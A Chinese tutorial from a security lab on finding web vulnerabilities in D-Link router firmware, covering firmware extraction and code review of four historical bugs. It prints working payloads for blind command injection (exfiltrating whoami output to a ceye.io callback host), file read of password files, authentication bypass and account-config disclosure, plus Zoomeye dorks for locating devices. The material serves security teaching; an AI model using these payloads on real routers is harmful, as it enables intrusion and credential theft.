Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >D-Link系列路由器漏洞挖掘入门

D-Link系列路由器漏洞挖掘入门

原创
作者头像
Seebug漏洞平台
发布于 2018-03-13 02:58:14
发布于 2018-03-13 02:58:14
1.5K0
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

作者:Sebao@知道创宇404实验室

发表时间:2017年10月27日

前言

前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们。所以回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。

准备工作

既然要挖路由器漏洞,首先要搞到路由器的固件。

D-Link路由器固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/

下载完固件发现是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是缺少一些依赖,所以还是编译安装了一下。

代码语言:txt
AI代码解释
复制
	$ sudo apt-get update  
	$ sudo apt-get install build-essential autoconf git  
	  
	# https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
	$ git clone https://github.com/devttys0/binwalk.git  
	$ cd binwalk  
	  
	# python2.7安装  
	$ sudo python setup.py install  
	  
	# python2.7手动安装依赖库  
	$ sudo apt-get install python-lzma  
	  
	$ sudo apt-get install python-crypto  
	  
	$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip  
	$ sudo pip install pyqtgraph  
	  
	$ sudo apt-get install python-pip  
	$ sudo pip install capstone  
	  
	# Install standard extraction utilities(必选)  
	$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools  
	  
	# Install sasquatch to extract non-standard SquashFS images(必选)  
	$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
	$ git clone https://github.com/devttys0/sasquatch  
	$ (cd sasquatch && ./build.sh)  
	  
	# Install jefferson to extract JFFS2 file systems(可选)  
	$ sudo pip install cstruct  
	$ git clone https://github.com/sviehb/jefferson  
	$ (cd jefferson && sudo python setup.py install)  
	  
	# Install ubi_reader to extract UBIFS file systems(可选)  
	$ sudo apt-get install liblzo2-dev python-lzo  
	$ git clone https://github.com/jrspruitt/ubi_reader  
	$ (cd ubi_reader && sudo python setup.py install)  
	  
	# Install yaffshiv to extract YAFFS file systems(可选)  
	$ git clone https://github.com/devttys0/yaffshiv  
	$ (cd yaffshiv && sudo python setup.py install)  
	  
	# Install unstuff (closed source) to extract StuffIt archive files(可选)  
	$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv  
	$ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。

然后用 binwalk -Me 固件包名称 解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root文件夹,就是路由器的完整固件包。

漏洞挖掘

此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在suashfs-root/www或者

suashfs-root/htdocs文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。

D-Link DIR-645 & DIR-815 命令执行漏洞

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。

这个漏洞出现在 diagnostic.php文件。直接看代码

代码语言:txt
AI代码解释
复制
	HTTP/1.1 200 OK
	Content-Type: text/xml
	
	<?
	if ($_POST["act"] == "ping")
	{
		set("/runtime/diagnostic/ping", $_POST["dst"]);
		$result = "OK";
	}
	else if ($_POST["act"] == "pingreport")
	{
		$result = get("x", "/runtime/diagnostic/ping");
	}
	echo '<?xml version="1.0"?>\n';
	?><diagnostic>
		<report><?=$result?></report>
	</diagnostic>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = "OK";无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload

代码语言:txt
AI代码解释
复制
	url = 'localhost/diagnostic.php'
    data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。

漏洞出现在/model/__show_info.php文件。

代码语言:txt
AI代码解释
复制
	<?
	if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
	{
		echo "<title>404 Not Found</title>\n";
		echo "<h1>404 Not Found</h1>\n";
	}
	else
	{
		if($REQUIRE_FILE!="")
		{
			require($LOCALE_PATH."/".$REQUIRE_FILE);
		}
		else
		{
			echo $m_context;
			echo $m_context2;//jana added
			if($m_context_next!="")
			{
				echo $m_context_next;
			}
			echo "<br><br><br>\n";
			if($USE_BUTTON=="1")
			{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
		}
	}
	?>

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswdvar/etc/hnapasswd。这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd的路径,就可以绕过这个过滤了。

payload:

代码语言:txt
AI代码解释
复制
    localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd 成功绕过上面的 if判断,进行任意文件读取。

D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

代码语言:txt
AI代码解释
复制
	<?
	$MY_NAME ="login_fail";
	$MY_MSG_FILE=$MY_NAME.".php";
	$NO_NEED_AUTH="1";
	$NO_SESSION_TIMEOUT="1";
	require("/www/model/__html_head.php");
	?>

此漏洞触发的原因在于 全局文件 _html_head.php

代码语言:txt
AI代码解释
复制
	<?
	/* vi: set sw=4 ts=4: */
	if ($NO_NEED_AUTH!="1")
	{
	 /* for POP up login. */
	// require("/www/auth/__authenticate_p.php");
	// if ($AUTH_RESULT=="401") {exit;}
	 /* for WEB based login */
	 require("/www/auth/__authenticate_s.php");
	 if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
	 if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
	 if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
	 $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
	}
	require("/www/model/__lang_msg.php");
	?>

这里我们看到 $NO_NEED_AUTH!="1" 如果 $NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH值 设置为 1 那就绕过了认证进行任意操作。

payload:

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里AUTH_GROUP=0 表示admin权限

D-Link DIR-645 信息泄露漏洞

Zoomeye dork:DIR-645

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/htdocs 文件夹

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

代码语言:txt
AI代码解释
复制
	$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
	TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
	$SERVICE_INDEX = 0;
	while ($SERVICE_INDEX < $SERVICE_COUNT)
	{
		$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
		TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
		if ($GETCFG_SVC!="")
		{
			$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
			/* GETCFG_SVC will be passed to the child process. */
			if (isfile($file)=="1") dophp("load", $file);
		}
		$SERVICE_INDEX++;
	}

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php文件。

payload:

代码语言:txt
AI代码解释
复制
	http://localhost/getcfg.php
	post:SERVICES=DEVICE.ACCOUNT

总结

可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。

路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。

参考链接

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
PDF 版报告下载:D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
Seebug漏洞平台
2018/03/16
1.7K6
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
0x00 背 景 D-Link(即友讯网络)[1],一家生产网络硬件和软件产品的企业,主要产品有交换机、无线产品、宽带产品、网卡、路由器、网络摄像机和网络安全产品(防火墙)等。 2017年8月8号,SecuriTeam在博客公布了D-Link 850L多个漏洞的漏洞细节和PoC[2],其中包括通过WAN和LAN的远程代码执行、通过WAN和LAN口的未授权信息泄露、通过LAN的root远程命令执行。 2017年8月9日,Seebug收录了该厂商旗下D-Link DIR-850L云路由器的多个漏洞[3]。攻
Seebug漏洞平台
2018/03/30
1.3K0
路由器漏洞分析入门:D-Link Service.Cgi远程命令执行漏洞
在正在到来的物联网时代,路由器是一个家庭里面的核心,连接着各种智能设备,路由器会被更多的黑客盯上,用于发动DDos,传播木马、病毒、挖矿软件等。本文以D-Link路由器的一个远程命令执行漏洞为例带你入门路由器漏洞分析。
用户1423082
2024/12/31
940
路由器漏洞分析入门:D-Link Service.Cgi远程命令执行漏洞
解密攻击者如何利用D-Link路由器构建僵尸网络
在这篇文章中,我们将跟大家讨论我们在几台顶级D-Link路由器中发现的安全漏洞,受影响的路由器型号如下: -DIR890L -DIR885L -DIR895L -以及其他相关的DIR8xx型号D-Link路由器 这些设备使用的是相同的代码,因此攻击者将能够利用这些设备中存在的安全漏洞来组成一个庞大的僵尸网络。除此之外,我们还将尝试通过修改路由器的编译脚本来制作一个模拟的Mirai僵尸网络。 本文所要讨论的主要是D-Link路由器设备中的两个安全漏洞。其中一个与cgibin(cgibin是主要的CGI文件,
FB客服
2018/02/27
1.4K0
解密攻击者如何利用D-Link路由器构建僵尸网络
D-Link-DIR-850L路由器分析之获取设备shell
在对 IoT 设备进行安全分析时,通常设备对我们而言像个"黑盒子",通过给它提供输入然后观察它的反馈输出,而对设备的"内部"并不了解。如果能够通过某种方式进入设备"内部",获取到设备的 shell,则会对后续的分析提供极大的便利。
信安之路
2019/03/19
3.2K1
D-Link-DIR-850L路由器分析之获取设备shell
看我如何利用发现的漏洞接管D-Link路由器
我曾发现了D-Link路由器不同型号的多个漏洞,今天我要分享的是我最近发现的D-Link路由器的三个漏洞,综合利用这三个漏洞,可以获取D-Link路由器管理权限,实现对其成功接管。
FB客服
2018/12/18
7970
看我如何利用发现的漏洞接管D-Link路由器
物联网安全——D-Link DIR-822-US固件分析
🚀🚀我们首先要获得D-Link DIR-822-US的固件,根据后面的US我们就知道需要去国外的网站下载,国内是没有这款产品的。具体地址如下所示:D-Link Technical Support (dlink.com),考虑到有些同学的网可能不是“很好”,所以我会放在网盘里面供大家学习**(差点忘记了,放评论区了)**。
小点点
2024/03/30
3690
物联网安全——D-Link DIR-822-US固件分析
物联网设备固件分析之小试牛刀
近几年,物联网设备已渗透到生活的方方面面,为人们带来了极大的方便。但是,因其承载有人们日常生活产生的数据和隐私信息,其安全性也越来越受到人们的关注。在上一篇中,我们讨论了用脚本控制小米设备,这主要是从流量层面入手来进行的安全分析;在这一篇,主要从固件入手,分析固件的脆弱性。
FB客服
2018/12/11
1.6K0
物联网设备固件分析之小试牛刀
急需升级,D-Link 路由器漏洞被僵尸网络广泛用于 DDoS 攻击
:新的“FICORA”和“CAPSAICIN”僵尸网络(Mirai 和 Kaiten 的变体)的活动激增。
星尘安全
2024/12/30
1410
急需升级,D-Link 路由器漏洞被僵尸网络广泛用于 DDoS 攻击
路由器0day漏洞挖掘实战
本文已发表到安全客:https://www.anquanke.com/post/id/180714
用户1423082
2024/12/31
1230
路由器0day漏洞挖掘实战
MIPS漏洞调试环境安装-栈溢出
主要是IDA,IDA的安装就不用多说了。这里说明的是辅助插件MIPSROP这些插件的安装,书里面给的插件的链接已经无法支持IDA 6.7以后的版本,主要是由于版本以后的API有更新,具体原因IDA的官方博客也给出了说明,查看了issue以后,发现有大佬已经写了能够支持IDA7.0的插件,安装的命令照着readme做即可顺利的装上。
随心助手
2019/10/15
1.8K0
路由器漏洞复现分析第二弹:CNVD-2018-01084
1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(http://www.freebuf.com/new/160716.html)。 在上一篇文章(http://www.freebuf.com/vuls/160040.html)里实际操作了一下用qemu system模式模拟路由器环境,那这一次再通过分析CNVD-2018-01084实际操作一下用qemu use
FB客服
2018/02/23
1.3K0
路由器漏洞复现分析第二弹:CNVD-2018-01084
D-Link DIR-815 路由器多次溢出分析
exploitdb链接:https://www.exploit-db.com/exploits/33863/
用户1423082
2024/12/31
700
D-Link DIR-815 路由器多次溢出分析
Moobot 僵尸网络“盯上了”D-Link 路由器
Bleeping Computer 网站披露,上月初,被称为 “MooBot ” 的 Mirai 恶意软件僵尸网络变种在新一轮攻击浪潮中再次出现,以易受攻击的 D-Link 路由器为目标,混合使用新旧漏洞,展开网络攻击。 2021 年 12 月,Fortinet 分析师发现了 MooBot 恶意软件团伙,当时该组织正在针对某厂商摄像头中存在的一个漏洞,进行了 DDoS 攻击。 恶意软件开始针对 D-Link 设备 最近,研究人员发现 MooBot 恶意软件更新了其目标范围。从 Palo Alto Net
FB客服
2023/03/30
5340
Moobot 僵尸网络“盯上了”D-Link 路由器
重现 TP-Link SR20 本地网络远程代码执行漏洞
3月26号 Google 安全开发人员 Matthew Garrett 在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞,公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复,于是就公开了,该漏洞截至目前官方修复,在最新固件中漏洞仍然存在,属于 0day 漏洞,当我看到漏洞证明代码(POC)后决定尝试重现此漏洞。
Seebug漏洞平台
2019/05/07
1.7K0
重现 TP-Link SR20 本地网络远程代码执行漏洞
MIPS-漏洞研究常用工具及调试方法
正常apt安装的binwalk一般都是不完整的,需要我们先卸载后在github中下载安装,之后才可以正常提取路由器的固件,否则将出现下图错误
偏有宸机
2021/04/01
1.2K0
D-Link DIR-850L路由器存在漏洞,可绕过加密
作为Defensics SafeGuard开发的一部分,我们发现了D-Link DIR-850L无线AC路由器(硬件修订版本A)中的漏洞。该漏洞使攻击者无需提供凭据即可完全访问无线网络。我们的方法在接入点连接期间跳过关键步骤,完全绕过加密。
FB客服
2018/12/25
1.4K0
D-Link DIR-850L路由器存在漏洞,可绕过加密
Huawei HG532 系列路由器远程命令执行漏洞分析
作者:fenix@知道创宇404实验室 背 景 华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。 2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215) [1] https://research.checkpoint.com/good-zero-day-skiddie/。 该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名
Seebug漏洞平台
2018/03/30
8610
Huawei HG532 系列路由器远程命令执行漏洞分析
【产品那些事】固件安全-关于OTA升级包分析
OTA(Over-the-Air)是一种通过无线通信网络(如Wi-Fi、蜂窝网络)远程下载和安装设备固件或软件更新的方式。这种方式广泛应用于智能手机、物联网设备、汽车电子等领域。
没事就要多学习
2024/07/24
4060
【产品那些事】固件安全-关于OTA升级包分析
IoT漏洞研究(一)固件基础
随着5G时代的到来,物联网扮演的角色也越来越重要,同时也伴随更多的安全风险。IOT安全涉及内容广泛,本系列文章将从技术层面谈一谈笔者对IOT漏洞研究的理解。笔者将从固件、web、硬件、IOT协议、移动应用五个维度分别探讨,由于水平能力有限,不当或遗漏之处欢迎大家指正补充。 IoT固件基础 之所以将固件作为第一个探讨的主题,因为比较基础,IOT漏洞研究一般无法绕过。以下将介绍固件解密(若加密)、解包打包、模拟和从固件整体上作安全评估四部分。 1.1 固件解密 有些IOT设备会对固件加密甚至签名来提高研究门槛和
FB客服
2023/04/26
2.9K0
IoT漏洞研究(一)固件基础
推荐阅读
相关推荐
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档